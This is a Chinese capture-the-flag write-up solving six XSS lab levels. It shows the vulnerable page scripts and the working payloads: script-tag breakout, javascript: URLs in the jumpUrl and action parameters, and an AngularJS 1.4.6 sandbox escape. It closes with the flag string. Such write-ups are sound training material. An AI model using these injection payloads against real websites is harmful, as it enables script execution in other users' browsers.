题目考点
- WEB
- XSS
解题思路
本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数
- level1- 设置username=<script>alert("flag")</script>,过关 
 
- 设置
- level2- 输入level1同样的payload,没有反应,查看网页源码,发现</script>闭合了原本的script标签,所以无法执行alert函数
- 修改payload为username=</script><script>alert("flag")</script>,过关 
 
- 输入level1同样的payload,没有反应,查看网页源码,发现
- level3- 输入level1同样的payload同样没有反应,查看网页源码,似乎问题和level2一样 
- 使用level2同样的paload,过关 
 
- 输入level1同样的payload同样没有反应,查看网页源码,似乎问题和level2一样
- level4- 查看网页源码,发现jumpUrl参数可以控制跳转的url: 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29<script type="text/javascript"> 
 var time = 10;
 var jumpUrl;
 if(getQueryVariable('jumpUrl') == false){
 jumpUrl = location.href;
 }else{
 jumpUrl = getQueryVariable('jumpUrl');
 }
 setTimeout(jump,1000,time);
 function jump(time){
 if(time == 0){
 location.href = jumpUrl;
 }else{
 time = time - 1 ;
 document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
 setTimeout(jump,1000,time);
 }
 }
 function getQueryVariable(variable)
 {
 var query = window.location.search.substring(1);
 var vars = query.split("&");
 for (var i=0;i<vars.length;i++) {
 var pair = vars[i].split("=");
 if(pair[0] == variable){return pair[1];}
 }
 return(false);
 }
 </script>
- 所以基于JavaScript为协议,可以构造payload为jumpUrl=javascript:alert("flag"),过关 
 
- 查看网页源码,发现
- level5- 输入level1同样的payload无效,查看网页源码:1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19<script type="text/javascript"> 
 if(getQueryVariable('autosubmit') !== false){
 var autoForm = document.getElementById('autoForm');
 autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
 autoForm.submit();
 }else{
 
 }
 function getQueryVariable(variable)
 {
 var query = window.location.search.substring(1);
 var vars = query.split("&");
 for (var i=0;i<vars.length;i++) {
 var pair = vars[i].split("=");
 if(pair[0] == variable){return pair[1];}
 }
 return(false);
 }
 </script>
- 这段代码的意思是,如果autosubmit参数存在,则自动提交表单
- 所以构造payload为autosubmit=1&action=javascript:alert("flag"),过关 
 
- 输入level1同样的payload无效,查看网页源码:
- level6- 输入level1同样的payload没有反应,查看网页源码,发现使用了AnjularJS框架1 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>  
- 搜索AnjularJS框架XSS漏洞,发现Angular(版本号小于1.6)内的典型XSS payload为username={{7*7}},测试后发现确实存在XSS漏洞 
- 使用payload{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert("flag")//');}}进行沙箱逃逸,过关 
 
- 输入level1同样的payload没有反应,查看网页源码,发现使用了
- 完成所有关卡,获得flag 
FLAG
| 1 | n1book{xss_is_so_interesting} | 
